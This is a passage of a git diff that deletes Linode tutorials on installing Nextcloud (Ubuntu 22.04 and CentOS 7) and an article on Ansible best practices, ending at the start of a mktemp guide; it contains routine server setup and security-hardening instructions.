`/etc/apache2/sites-enabled/nextcloud.conf` file. - - ```command - sudo systemctl status apache2 - ``` - -## Setting up Nextcloud Using the Web Interface - -The remaining Nextcloud configuration tasks can be accomplished using the web interface. To configure and activate Nextcloud, follow these steps. - -1. Visit the domain associated with the server. The Nextcloud configuration page appears in the browser window. In the following example, replace `example.com` with the name of the domain: `http://example.com/`. - - ![The Nextcloud Configuration Page](Nextcloud-Configuration-Page.png) - -1. On this page, perform the following tasks: - - - Create an administrative account. Provide a user name and password for the account. - - Leave the address for the **Data Folder** at the current value. - - In the **Configure the database** section, add information about the `nextcloud` database. Enter the user name and password for the account created in MariaDB earlier. The database name is `nextcloud`. Leave the final field set to `localhost`. - - Click **Install** to complete the form. - - ![Enter the Administrator and Database Information](Nextcloud-Admin-Db-Config.png) - -1. Nextcloud proceeds to set up the application. This might take a minute or two. On the next page, Nextcloud asks whether to install a set of recommended applications. Click **Install recommended apps** to continue. - - ![Nextcloud Recommended Applications](Nextcloud-Recommended-Apps.png) - -1. Nextcloud displays a series of welcome slides. Click the right arrow symbol on the right-hand side of the page to walk through the slides. Read through each slide, recording any important information. - - ![The Nextcloud Welcome Page](Nextcloud-Welcome.png) - -1. On the final welcome page, select **Start using Nextcloud** to proceed to the Nextcloud dashboard. - - ![The Final Nextcloud Welcome Slide](Nextcloud-Final-Welcome.png) - -1. The browser now displays the Nextcloud Dashboard page. - - ![The Nextcloud Dashboard](Nextcloud-Dashboard.png) - -## Securing and Optimizing Your Nextcloud Application - -Nextcloud is now ready to use. However, it is not as secure or as efficient as it could be. For a better Nextcloud experience, enable the *Hypertext Transfer Protocol Secure* (HTTPS) protocol using the [Certbot](https://certbot.eff.org/) application. There are also a few more changes to add to the `config.php` file. - -### Setting up a SSL Certificate for Nextcloud (Optional) - -Nextcloud works even without the *Hypertext Transfer Protocol Secure* (HTTPS) protocol. However, HTTPS is highly recommended, and Nextcloud displays some warnings on the "Settings" page if it is not configured. HTTPS encrypts information using the *Secure Sockets Layer* (SSL) technology to help secure the Nextcloud data. - -The Linode server must possess a signed public-key certificate from a trusted certificate authority before it can accept HTTPS requests. Most Ubuntu administrators use Certbot to install SSL certificates. Certbot is a free and open source tool for automating the process of requesting [Let's Encrypt](https://letsencrypt.org/) certificates for a website. - -To configure HTTPS for the domain, follow these steps. - -1. Update Snap, which is pre-installed on Ubuntu 22.04. Snap is used to download application bundles. - - ```command - sudo snap install core && sudo snap refresh core - ``` - -1. To avoid conflicts, remove the default Ubuntu Certbot package: - - ```command - sudo apt remove certbot - ``` - -1. Use `snap` to install Certbot: - - ```command - sudo snap install --classic certbot - ``` - - ```output - certbot 1.31.0 from Certbot Project (certbot-eff✓) installed - ``` - -1. Use Certbot to download a certificate for the domain: - - ```command - sudo certbot --apache - ``` - -1. Certbot begins the installation process. To receive a certificate, the following information is required. The workflow varies depending on whether you have used Certbot before. Enter the following information when requested to do so: - - - A contact email for the domain owner. - - An acknowledgment of the terms of service. Enter `Y` to proceed. - - Whether to share the email address with the Electronic Frontier Foundation. - - The domain name to be registered. Enter the domain both with and without the `www` prefix or choose it from a list. - - After granting the certificate, Certbot displays some information about the granting process and the certificate. Take note of the location of the newly-deployed certificate. Additional configuration is added to this file in the next section. - - ```output - Deploying certificate - Successfully deployed certificate for example.com to /etc/apache2/sites-available/nextcloud-le-ssl.conf - Congratulations! You have successfully enabled HTTPS on https://example.com - ``` - -1. **(Optional)** Certbot can automatically renew and update the certificate. To perform a trial run, use the `renew` command: - - ```command - sudo certbot renew --dry-run - ``` - -### Configuring Extra Security Measures for Nextcloud - -At this point, almost all configuration is complete. The SSL configuration and the Nextcloud `config.php` file still require additional changes. The `config.php` file was created when configuring Nextcloud using the web interface. To complete all additional security tasks, follow these steps. - -1. Change the permissions for the Nextcloud-specific `config.php` file so other users cannot access it. This file is located inside the `config` directory in the Nextcloud domain directory. - - ```command - sudo chmod 660 /var/www/html/nextcloud/config/config.php - ``` - -1. Change the ownership of this file. Ensure the `root` account and the Apache web server share co-ownership. - - ```command - sudo chown root:www-data /var/www/html/nextcloud/config/config.php - ``` - -1. Edit the Nextcloud `config.php` file and add the following two lines to the end of the array. Ensure these lines are placed inside the final `)` bracket. For the `default_phone_region` use the country code where the server is located. Consult the Wikipedia page for the [ISO Alpha-2 codes](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) for a full list of country codes. This example uses the country code for the United Kingdom. - - ```command - sudo nano /var/www/html/nextcloud/config/config.php - ``` - - ```file {title="/var/www/html/nextcloud/config/config.php" lang="php"} - ... - 'memcache.local' => '\\OC\\Memcache\\APCu', - 'default_phone_region' => 'GB', - ); - ``` - -1. Edit the SSL certificate file and enable strict transport security. You recorded the name of this file when installing the certificate. Add the following line immediately after the line containing the `ServerName` attribute. - - ```command - sudo nano /etc/apache2/sites-available/nextcloud-le-ssl.conf - ``` - - ```file {title="/etc/apache2/sites-available/nextcloud-le-ssl.conf"} - ... - Header always set Strict-Transport-Security "max-age=15552000; includeSubDomains" - ... - ``` - -1. Restart Apache to apply the recent changes: - - ```command - sudo systemctl restart apache2 - ``` - -1. Reload the Nextcloud dashboard. The site is now using HTTPS, and the URL in the browser bar begins with `https://`. - -1. Verify whether there are any warnings displayed in the Administration section of the Nextcloud Dashboard. First click the user ID icon in the upper-right corner of the dashboard and select **Settings**. - - ![Nextcloud Settings](Nextcloud-Dashboard-Settings.png) - -1. On the Settings section of the Dashboard, click **Overview** in the left-hand menu. This is located right under the **Administration** section heading. - - ![Nextcloud Administration Overview](Nextcloud-Admin-Overview.png) - -1. Nextcloud now displays the "Security & Setup Warnings" page. Review the information in this section and ensure there are no security or configuration warnings. Some missing features, such as the email server, can be configured whenever it is convenient. - - ![Nextcloud Security Warnings](Nextcloud-Security-Warnings.png) - -## Concluding Thoughts about Nextcloud on Ubuntu 22.04 - -Nextcloud is a competitive open source alternative to Dropbox and Google Drive offering shared online access to files, folders, and other content. Nextcloud can be downloaded on Ubuntu 22.04 using `wget` and configured through a web interface. The Nextcloud dashboard allows users to administer the site and add or share files. - -Nextcloud requires a LAMP stack, including configuration changes to the Apache web server, the MySQL/MariaDB RDBMS, and the PHP programming language. Nextcloud recommends installing an SSL certificate, permitting the use of HTTPS. For more information on how to install, configure, and use Nextcloud, consult the [Nextcloud User Documentation](https://docs.nextcloud.com/server/24/admin_manual/contents.html). \ No newline at end of file diff --git a/docs/guides/applications/cloud-storage/store-and-share-your-files-with-nextcloud-centos-7/index.md b/docs/guides/applications/cloud-storage/store-and-share-your-files-with-nextcloud-centos-7/index.md deleted file mode 100644 index fbfb3bc13d1..00000000000 --- a/docs/guides/applications/cloud-storage/store-and-share-your-files-with-nextcloud-centos-7/index.md +++ /dev/null @@ -1,187 +0,0 @@ ---- -slug: store-and-share-your-files-with-nextcloud-centos-7 -title: "Store and Share your Files with Nextcloud on CentOS 7" -description: "Nextcloud is an open content hosting tool built for customization and security. We'll walk you through installing it on CentOS 7." -authors: ["Andrew Lescher"] -contributors: ["Andrew Lescher"] -published: 2017-12-15 -modified: 2018-12-18 -keywords: ["nextcloud", "cloud", "open source hosting"] -tags: ["centos", "lamp"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Using the occ command](https://docs.nextcloud.com/server/12/admin_manual/configuration_server/occ_command.html#http-user-label)' - - '[nginx Configuration](https://docs.nextcloud.com/server/12/admin_manual/installation/nginx.html)' - - '[Enabling SSL](https://docs.nextcloud.com/server/12/admin_manual/installation/source_installation.html#enabling-ssl)' -aliases: ['/applications/cloud-storage/store-and-share-your-files-with-nextcloud-centos-7/'] -relations: - platform: - key: install-nextcloud - keywords: - - distribution: CentOS 7 ---- - -![Store and Share your Files with Nextcloud on CentOS](Store_and_Share_your_Files_with_Nextcloud_on_Centos_smg.png "Store and Share your Files with Nextcloud on CentOS") - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install the *EPEL* repository: - - yum install epel-release -y - -## Install MariaDB Database Server - -1. Add the MariaDB 10.2 repository to force yum to install the latest version: - - {{< file "/etc/yum.repos.d/MariaDB.repo" repo >}} -[mariadb] -name = MariaDB-10.2.3 -baseurl = http://yum.mariadb.org/10.2.3/centos7-amd64 -gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB -gpgcheck=1 -{{< /file >}} - -2. Install MariaDB and enable the service on system startup: - - yum install mariadb mariadb-server -y - systemctl start mariadb - systemctl enable mariadb - -3. Set up the MariaDB server with the `mysql_secure_installation` script. Respond to the prompts with the replies shown below: - - mysql_secure_installation - - Enter current password for root (enter for none): ENTER - Set root password? [Y/n] Y - Remove anonymous users? [Y/n] Y - Disallow root login remotely? [Y/n] Y - Remove test database and access to it? [Y/n] Y - Reload privilege tables now? [Y/n] Y - -4. Create a database and user for Nextcloud in MariaDB. Login as `root` and enter the password set earlier. Be sure to create a strong password to replace the `CREATE-PASSWORD-HERE` text: - - mysql -u root -p - - MariaDB [(none)]> CREATE DATABASE nextcloud; - MariaDB [(none)]> GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextclouduser'@'localhost' IDENTIFIED BY 'CREATE-PASSWORD-HERE' WITH GRANT OPTION; - MariaDB [(none)]> FLUSH PRIVILEGES; - MariaDB [(none)]> quit - -## Install Apache Web Server - -1. Install Apache and enable the service on system startup: - - yum install httpd -y - systemctl start httpd - systemctl enable httpd - -2. Disable Apache's WebDAV modules to prevent conflict with Nextcloud's WebDAV modules: - - sudo sed -i 's/^/#&/g' /etc/httpd/conf.modules.d/00-dav.conf - -3. Restart Apache to reflect changes: - - systemctl restart httpd - -## Install PHP 7.1 and Required Modules - -1. Add the Remi repository: - - rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm - -2. Install the *yum-utils* package: - - yum install yum-utils -y - -3. Update the system to populate the Remi repository: - - yum update -y - -4. Direct the system to use PHP 7.1 and issue installation command: - - yum-config-manager --enable remi-php71 - yum install php71-php php-mbstring php-zip php71-php-opcache php71-php-mysql php71-php-pecl-imagick php71-php-intl php71-php-mcrypt php71-php-pdo php-ZendFramework-Db-Adapter-Pdo-Mysql php71-php-pecl-zip php71-php-mbstring php71-php-gd php71-php-xml -y - -5. The default file upload size PHP will allow is 2MB. Increase (or decrease) the allowed file size to your preferred value. The example below will set a 512MB file upload size and no limit for the post size: - - sudo cp /etc/php.ini /etc/php.ini.bak - sudo sed -i "s/post_max_size = 8M/post_max_size = 0/" /etc/php.ini - sudo sed -i "s/upload_max_filesize = 2M/upload_max_filesize = 512M/" /etc/php.ini - -6. Restart Apache: - - systemctl restart httpd - -## Install Nextcloud 12 - -1. Check the [Nextcloud download page](https://nextcloud.com/install/#instructions-server) for the latest version and replace `12.0.4` in the command below with the appropriate version number: - - cd /opt - sudo yum install wget - wget https://download.nextcloud.com/server/releases/nextcloud-12.0.4.zip - -2. Unzip the package: - - sudo yum install unzip - unzip nextcloud-x.y.z.zip - -3. Move the entire unzipped Nextcloud folder to the root web directory and grant permissions to the `apache` user for all contents: - - cp -r nextcloud /var/www/html - -4. Grant permissions to the Nextcloud folder and all its contents to the Apache user. Determine which user Apache is running with the first command below. Replace `apache:apache` in the second command with the output if it differs: - - ps -ef | egrep '(httpd|apache2|apache)' | grep -v `whoami` | grep -v root | head -n1 | groups $(awk '{print $1}') - chown apache:apache -R /var/www/html/nextcloud - -5. Navigate to the `nextcloud` root web directory, and complete the Nextcloud installation: - - cd /var/www/html/nextcloud - sudo -u apache php occ maintenance:install --database "mysql" --database-name "nextcloud" --database-user "nextclouduser" --database-pass "yourpassword" --admin-user "admin" --admin-pass "adminpassword" - -6. If the installation is successful, you will receive the following message: - - Nextcloud was successfully installed - -7. Since these files are now internet-facing, set stronger permissions to improve security: - - find /var/www/html -type f -print0 | sudo xargs -0 chmod 0640 - find /var/www/html -type d -print0 | sudo xargs -0 chmod 0750 - -8. Update the URL in the `config.php` file to accommodate the `nextcloud` subfolder added within the document root. Match the `overwrite.cli.url` and `htaccess.RewriteBase` lines: - - {{< file "/var/www/html/nextcloud/config/config.php" php >}} -. . . - -), - 'datadirectory' => '/var/www/html/nextcloud/data', - 'overwrite.cli.url' => 'http://localhost/nextcloud', - 'htaccess.RewriteBase' => '/nextcloud', - 'dbtype' => 'mysql', - 'version' => '12.0.3.3', - 'dbname' => 'nextcloud', - -. . . -{{< /file >}} - -9. Update the `.htaccess` file with the URL changes: - - sudo -u apache php /var/www/nextcloud/occ maintenance:update:htaccess - -10. Navigate to `your-Linode-IP-address/nextcloud` (replace `your-Linode-IP-address`) and the Nextcloud page should load with a login page for the admin user you created earlier. - - To check the status of your Nextcloud environment, use the following `occ` command: - - sudo -u apache /var/www/html/nextcloud/ php occ status - -## Where to Go from Here - -Once you have successfully installed you Nextcloud environment, you may want to further integrate it into an owned domain name or make adjustments to your web server to serve SSL encrypted pages. See Nextcloud's [Enabling SSL](https://docs.nextcloud.com/server/12/admin_manual/installation/source_installation.html#enabling-ssl) guide to enable SSL. - -Although Apache was used as the web server in this guide, installing Nextcloud with nginx is possible as well. Navigate to the [Nextcloud NGINX Configuration](https://docs.nextcloud.com/server/12/admin_manual/installation/nginx.html) documentation to setup Nextcloud with NGINX. - -[Nextcloud Talk](https://nextcloud.com/talk/), is an addon to Nextcloud that allows for secure text and video conferencing through Nextcloud's platform. Check out our guide on how to [Install Nextcloud Talk](/cloud/guides/install-nextcloud-talk/). diff --git a/docs/guides/applications/configuration-management/ansible/front-line-best-practices-ansible/index.md b/docs/guides/applications/configuration-management/ansible/front-line-best-practices-ansible/index.md deleted file mode 100644 index ee5511790fa..00000000000 --- a/docs/guides/applications/configuration-management/ansible/front-line-best-practices-ansible/index.md +++ /dev/null @@ -1,220 +0,0 @@ ---- -slug: front-line-best-practices-ansible -title: "Best Practices for Ansible" -title_meta: "Top 12 Ansible Best Practices" -description: 'Discover Ansible best practices and proven techniques for project organization, playbook content, documentation, testing, validation, and security.' -authors: ["Cameron Laird"] -contributors: ["Cameron Laird"] -published: 2023-11-28 -keywords: ['ansible best practices','ansible documentation','ansible testing','ansible playbook'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -[Ansible](/cloud/guides/applications/configuration-management/ansible/) is an important open source automation tool and platform. It is used for configuration management, application deployment, task automation, and [orchestration](https://www.databricks.com/glossary/orchestration) of complex workflows. - -Ansible figures prominently in DevOps. It allows Information Technology (IT) administrators and developers to automate repetitive tasks and streamline the management and deployment of infrastructure, applications, and services. Ansible’s business and strategic features include: - -- [**Agentless Architecture**](https://www.ansible.com/hubfs/pdfs/Benefits-of-Agentless-WhitePaper.pdf): Does not require installation of agents. -- [**Idempotency**](https://docs.ansible.com/ansible/latest/reference_appendices/glossary.html#term-Idempotency): Gives safe and reliable results from unreliable components. -- [**Portability**](https://www.ansible.com/blog/ansible-and-containers-why-and-how#:~:text=*%20Ansible%20playbooks%20are%20portable.&text=If%20you%20build%20a%20container%20with%20an%20Ansible%20playbook%2C%20you,choice%2C%20or%20on%20bare%20metal.): Operates consistently across different operating systems and into various flavors of cloud environments. - -Data centers effectively require Ansible, or one of its competitors. Businesses operating at the data center scale have requirements for reliability, economy, scalability, and flexibility. These are exactly the advantages of Ansible. It makes data center operations more cost-effective, predictable, resilient, and responsive. - -## Ansible Fundamentals - -The following is a list of key terms that cover the [fundamental components and concepts associated with Ansible](https://docs.ansible.com/ansible/latest/getting_started/basic_concepts.html): - -- **Target State**: Ansible is a [**declarative**](http://www.it-automation.com/2021/06/05/is-ansible-declarative-or-imperative.html) language. It details target states for computing systems and how those states are achieved. It then takes responsibility for achievement of the target states. This creates a kind of [teamwork](https://www.linkedin.com/pulse/delegating-goals-versus-tasks-karl-maier) between users and Ansible, where users take the lead in telling what they want, and Ansible works out the details of how it's done. This is different from older styles of [system administration](/cloud/guides/linux-system-administration-basics/) and system administration tools. - - An important aspect of target state is how it applies. Many practitioners have strong experience with Ansible's use in provisioning and deployment, but don't realize it also applies in other automations. While it is good at "spinning up" a new server or updating an existing one, it's also handy for many more uses that aid overall system health. For example, daily checks of certificate expirations, or hourly confirmations that file systems have at least 10% free storage. It only takes a few lines of Ansible to implement these and many other target states and verifications. - -- **Playbooks**: Ansible [playbooks](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_intro.html) are written in [YAML](/cloud/guides/yaml-reference/) and define a sequence of steps, or "plays", to execute on a target system or group of systems. Playbooks express desired states for systems and how those states are achieved. Ansible then takes responsibility for achieving those states. That dynamic is Ansible’s fundamental accomplishment. - -- **Modules**: Ansible [modules](https://docs.ansible.com/ansible/latest/dev_guide/developing_modules_general.html) are the building blocks of playbooks. Modules are discrete units of code that enact specific tasks such as package management, file configuration, or launching services. One of Ansible's great assets is its enormous collection of built–in modules and the ability for users to author custom ones. - -- **Tasks**: Ansible [tasks](https://docs.ansible.com/ansible/latest/getting_started/basic_concepts.html#tasks) are individual units within a playbook that call modules to perform specific actions. Tasks execute sequentially on target systems to achieve desired states. - -- **Roles**: Ansible [roles](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse_roles.html) organize and package related playbooks, variables, tasks, and other components into reusable and shareable units. Roles' modularization of configuration promotes reusability across playbooks and projects. - -- **Inventory**: The [inventory](https://docs.ansible.com/ansible/latest/getting_started/basic_concepts.html#inventory) file defines the hosts and systems under consideration. Inventory can be either static or dynamic. It typically includes such information as hostnames, IP addresses, groups, and variables. - -- **Variables**: Ansible allows use of [variables](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_variables.html) that make playbooks more dynamic and flexible. They also feature different scopes, including global, playbook, role, and task. - -- **Facts**: Ansible gathers information about target systems using modules called [facts](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_vars_facts.html). Examples of gathered information include hardware, operating systems, and internet addresses. Playbooks inform the decisions they make with such facts. - -- **Templates**: Ansible [templates](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/template_module.html) are files structured in [Jinja2 syntax](/cloud/guides/introduction-to-jinja-templates-for-salt/) with placeholders. Playbook execution dynamically populates the placeholders with variables. Templates can generate configuration files, scripts, and other Ansible artifacts. - -- **Handlers**: Various specific Ansible events trigger [handlers](https://docs.ansible.com/ansible/latest/getting_started/basic_concepts.html#handlers), typically at the conclusion of a playbook run. A common handler responsibility is to restart services after a configuration change. - -- **Ad-hoc Commands**: Being declarative, Ansible is flexible enough to embed several imperative mechanisms which streamline and simplify particular operations. Its [ad–hoc commands](https://docs.ansible.com/ansible/latest/command_guide/intro_adhoc.html) are indispensable for quick system health checks, troubleshooting, and other isolated remedies. - -## Ansible Best Practices - -While best practices certainly improve run-time efficiency, they also improve organizational efficiency. They can promote teamwork, output reliable results with minimum effort, help onboarding, ease maintenance burdens, and even protect from legal liability. - -As Abelson and Sussman wrote: "[Programs must be written for people to read, and only incidentally for machines to execute.](https://medium.com/javarevisited/epic-programmers-quotes-explained-aed933257b93#:~:text=The%20quote%20implies%20that%20writing,involves%20continuous%20updates%20and%20maintenance.)" In much the same way, the best Ansible playbooks are an ongoing asset for their *human* readers. - -Recognize that Ansible playbooks and related specifications are source, or "[code](https://www.cloudbees.com/blog/configuration-as-code-everything-need-know#)". Like all other sources, they deserve a [version-controlled source code control system](/cloud/guides/introduction-to-version-control/) to call home. Think of this as "best practice zero", which precedes the following top 12 best practices for using Ansible. - -### File System Layout - -Organize projects with a consistent file system layout. Separate playbooks from roles, in directories respectively named `playbooks` and `roles`. The result should look similar to the following example project directory structure: - -``` -project/ -├── playbooks/ -│ └── example_playbook.yml -├── roles/ -│ └── example_role/ -│ ├── tasks/ -│ ├── handlers/ -│ ├── templates/ -│ └── … -│── ... -├── group_vars/ -│ ├── all.yml -│ ├── production.yml -│ └── development.yml -│── ... -├── inventory/ -│ ├── production_hosts -│ ├── staging_hosts -│ └── development_hosts -│── ... -├── vault/ -│ ├── secret_file.yml -│ └── … -└── ... -``` - -Spelling of file names and other formal aspects of an Ansible project are purely cosmetic and aren't considered actual Ansible programming. All the more reason to standardize on common practices others have identified and save your team's attention for deeper matters. After all, IT is a collaborative undertaking. - -The point of this best practice is less about the virtue or aesthetics of a directory spelled `playbooks` rather than `playbook`, and more about the benefits of a [common language for the whole team](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3575067/#:~:text=A%20shared%2C%20common%20language%20provides%20a%20focus%20for%20all%20stakeholders.&text=It%20is%20most%20effective%20when,help%20to%20decrease%20project%20costs.). Using these best practices, teams can shift their attention from [worrying about particular details](https://americanexpress.io/yak-shaving/) to thinking more about how to work together toward larger business goals. - -### Ansible Configuration - -Use `ansible.cfg` for global configuration. Define sensible defaults for the inventory and roles paths. Use syntactic comments to document the reasons behind the choices made. - -Explicitly set `forks` to control parallelism. Configure `pipelining` to limit `ssh` operations and increase performance. Configure `ControlPath` to share `ssh` connections. Adjust `timeout` and `poll_interval` to manage timeout of long-running tasks. - -Control verbosity of logging based on actual experience and measurements of the specific playbooks in use. Periodically review the configuration to ensure it is consistent with established policies and goals. - -### Playbook Design and Structure - -Use Roles to modularize playbooks. Refer to [Ansible Galaxy](https://galaxy.ansible.com/ui/) for inspiration regarding useful definitions of Roles. Define your own choices in `requirements.yml`. - -Consider segmenting large and complex playbooks into multiple smaller ones, each with a focus on a specific component or functionality. The resulting bundle of playbooks is likely easier to manage than the original complete one. An alternative way to structure complex playbooks is with [tags](https://galaxy.ansible.com/ui/). Tags effectively disable or enable pieces of a playbook. For instance, it's sometimes beneficial to keep a playbook whole, while controlling distinct pieces within it. - -Separate inventory, configuration, and variable information into environment-specific files. - -Maintain a Vault for *all* sensitive or private information. This includes passwords, certificates, tokens, keys, or any other customer details Ansible needs to know. Consider the alternative of storing sensitive data in a file, and referring to it, rather than coding it into Ansible. - -Periodically review and refactor the playbook structure to keep it fresh and well-aligned with project requirements. - -### Variable Names - -Choose descriptive variable names. For instance, `gateway` rather than `gw`. However, also choose brief names over complicated ones. - -Use [snake case](https://www.freecodecamp.org/news/snake-case-vs-camel-case-vs-pascal-case-vs-kebab-case-whats-the-difference/#:~:text=Snake%20case%20separates%20each%20word,letters%20need%20to%20be%20lowercase.&text=Snake%20case%20is%20used%20for%20creating%20variable%20and%20method%20names.), for example, `database_account` rather than `DatabaseAccount` or other variations. - -Document the purpose, usage, and range of variables with comments. Examples of particularly useful comments focused on specific variables include: -- `# hostname is case-insensitive, so that 'server1' and 'SERVER1' behave identically` -- `# corpus_account must be qualified: 'name@domain.com' is OK, but 'name' is not` - -Group variables hierarchically. This is likely to result in such names as `database_account`, `database_host`, `database_password`, and `database_priority`. Environment-specific variables deserve meaningful prefixes such as `prod_database_account` or `env_database_account`. - -Avoid shadowing [reserved keywords](https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html). Rather than `item` or `serial`, choose `server_item` or `hardware_serial_number`. - -Don't be afraid to make exceptions to these rules when appropriate. For example, abbreviate `gateway` down to `gw` if a particular team has a well-understood, longstanding practice of doing so in other systems and languages beyond Ansible. - -Last but not least, always be consistent across playbooks and projects. - -### Error Handling in Ansible - -Error handling is supremely important. Most of the work accomplished by computing systems is done when things work as intended. However, a good playbook has more lines devoted to responding to failures than for what happens when everything goes right. - -"Handling" encompasses everything from ignoring the error, to logging it, notifying a monitoring system, or launching a diagnostic process. The most important best practice in error-handling is explicit use of `ignore_errors` and `register`. When a particular condition is judged to be non-fatal, mark it with `ignore_errors`, allowing the playbook to continue. Also mark it with an appropriate comment such as `# Error here is non-fatal because ...`. Also handle error conditions conditionally with `when: task_result.failed`. A different error-handling mechanism, `block-rescue-always`, is applicable for resource management and cleaning up problematic states. Take advantage of Ansible's `assert` module. Don’t assume that a particular service is available before starting to use it. Instead, `assert` its availability beforehand. - -Learn Ansible's built-in logging, auditing, debugging, and exit code functionality to handle errors most effectively. - -### Ansible Logging - -Ansible logging has several roles. Learn the essentials by practicing with the log and debug modules. In its simplest form, log can deliver a message during playbook execution through a specification such as: - -``` -- name: Log a single diagnostic - log: - msg: "This is the diagnostic logged at this point" -``` - -Next, learn how to configure `callback_whitelist`, `log_level`, and `log_path` in `ansible.cfg`. Experiment with `log_level` to learn how the categories `CRITICAL`, `DEBUG`, `ERROR`, `INFO`, and `WARNING` apply in your projects. Set them to meet the needs of specific applications and your own preferences. Some administrators like to log everything that might be useful, but only enable `CRITICAL` for daily operations. Others only log diagnostics that are guaranteed to demand response. Either approach, or various alternatives between them, work. It's more important is to be consistent about which style you choose. - -[Ansible's callback plugins](https://docs.ansible.com/ansible/latest/plugins/callback.html) naturally apply to many logging situations. For example, when you want to customize output formats, escalate notifications to email, profile performance metrics during an incident, or otherwise meet logging requirements. - -Timestamp your log entries. Rotate logs to ensure efficient use of storage. Archive logs for auditing and compliance. Treat logs as sensitive information that deserve security controls, so configure access only to users with a need to view them. - -With logging basics in place, consider more sophisticated log management through such aggregators as Elasticsearch, Logstash, Kibana, and Splunk. These help scale your ability to analyze logs. - -Decide on a review policy. No well-founded best practice applies universally in regard to how and when to review logs. It's best to be realistic. If decision-makers believe that logs need to be read, allocate time to do so as an explicit policy, and track the results. - -### Inline Comments - -Comments are important and rewarding, although widely under-used in real-world practice. Each time you write a line of Ansible, ask yourself: what would help me understand the intent of this if I return here six months from now? Ideally, your playbooks should be so simple and idiomatic that their source speaks for itself. The next best thing to that ideal situation is source that's so well-commented that it answers any questions that naturally arise. Always write good comments, and insist that your whole team does, too. - -### READMEs - -Write a `README` for each directory and subdirectory in a project. It could be something as brief as: - -```file {title="README.md"} -# Variables for the Staging environment - -This specification details the Ansible variables which -are specific to actions in the staging environment. -``` - -Other `README` files can be several hundred words about the architecture and design decisions that a particular directory represents. Three natural best practices applicable to `README` files are: - -- Create exactly one `README.md` for each directory in a project. -- Format the contents as well-formed [Markdown](https://www.markdownguide.org/getting-started/). -- Provide high-level "philosophy" and motivation in the README. Leave technical details to source comments. Minimize repetition of the source comments, and instead **refer** to them in `README` files. - -### Playbook Documentation - -Prepare a top-level `README.md` which explains the purpose and use of the playbook. Provide the reader with at least one way to test the playbook. In other words, explain how to do something and what the result should be. Include examples, use cases, and references to relevant documents. Provide a link to your policy on the subject. If some aspect of the playbook is hard to explain, it's even more important to explain it. Use dataflow, state, or entity diagrams, as appropriate. - -List Ansible versions that the playbook is compatible with. Include license and copyright notices in the `README.md`. Review the `README.md` periodically to make sure it aligns with the current state of the playbook. The result is a playbook that is easier to use and maintain correctly, particularly for those not involved in its original creation. - -### Use of Vaults for Sensitive Data - -Encrypt sensitive data, including variables, configurations, task contents, and whole files. However, do *not* encrypt information that is not sensitive. Store sensitive variables in `vars/secrets.yml` and encrypt the file. Reference the encrypted variables in the playbooks as necessary. - -Control access to the Vault with such controls as file systems permissions. Only allow authorized users to decrypt sensitive data, and only with a proper decryption key. Choose strong passwords and encryption keys. Write explicit policies for rotation schedules and practice rotation to ensure that it's correctly executed. - -Passwords must *not* appear in playbooks. Use a credential manager, or at least prompt for necessary passwords to be supplied at runtime. - -### Secure Communication - -Ansible projects generally communicate by way of `ssh`, and `ssh` best practices include the following: - -- Choose strong keys -- Choose strong ciphers -- Secure configurations -- Choose key–based authentication rather than password authentication -- Distribute keys securely -- Minimize agent forwarding -- Define appropriate policies, including a limit on login failures and idle timeouts. -- Consider configuring access-control, restrictions on authentication methods, and lists of allowed users through `sshd_config`. - -Configure Ansible to use SSL for communication between control nodes and managed hosts. Control access to the control node with firewalling and network restrictions. Patch Ansible components regularly and enable two-factor authentication (2FA). - -If your project uses [Ansible APIs](https://docs.ansible.com/ansible/latest/api/index.html), configure communication for TLS. If your project uses [Ansible Tower](https://docs.ansible.com/ansible/latest/reference_appendices/tower.html) or [AWX](https://www.ansible.com/products/awx-project/faq), configure HTTPS. - -### Privilege Escalation and Sudo - -Learn Ansible's [`become` feature](https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_privilege_escalation.html), designed expressly for secure privilege escalation. Apply `become` precisely, for a single play at a time, rather than for an entire playbook. Use `become_user` as an additional way to increase the precision of an escalation. Study `become_method` to understand the applicability of different escalation methods. For instance, while `sudo` is the default, a PowerBroker-equipped environment needs to favor `pbrun`. Review escalation uses periodically. - -## Conclusion - -The biggest payoffs in regard to Ansible best practices come from routine, non-technical habits. This includes maintaining playbook version control and accurate documentation, separating secrets from public information, roles from actions, and targets from implementations. Update your Ansible instance through a well-defined [software development lifecycle (SDLC)](https://stackify.com/what-is-sdlc/), and use tools such as [Ansible Lint](https://ansible.readthedocs.io/projects/lint/) appropriately. Make sure every line of code exists for a reason. - -While these habits are not technically deep, with them in place across your teams, Ansible's best practices do pay off. \ No newline at end of file diff --git a/docs/guides/applications/configuration-management/basics/using-mktemp-command/index.md b/docs/guides/applications/configuration-management/basics/using-mktemp-command/index.md deleted file mode 100644 index f2dbe7837c5..00000000000 --- a/docs/guides/applications/configuration-management/basics/using-mktemp-command/index.md +++ /dev/null @@ -1,194 +0,0 @@ ---- -slug: using-mktemp-command -title: "Using mktemp Command to Create Temporary Files and Directories" -title_meta: "How to Use the mktemp Command to Create Temporary Files and Directories" -description: 'Learn how to use the mktemp command on an Ubuntu 20.04 Linode server. Using the mktemp command, you can create temporary files and directories.' -authors: ["Tom Henderson"] -contributors: ["Tom Henderson"] -published: 2023-03-19 -keywords: ['mktemp', 'mktemp bash', 'mktemp directory', 'tmpdir'] -tags: ['linux'] -license: '[CC BY-ND 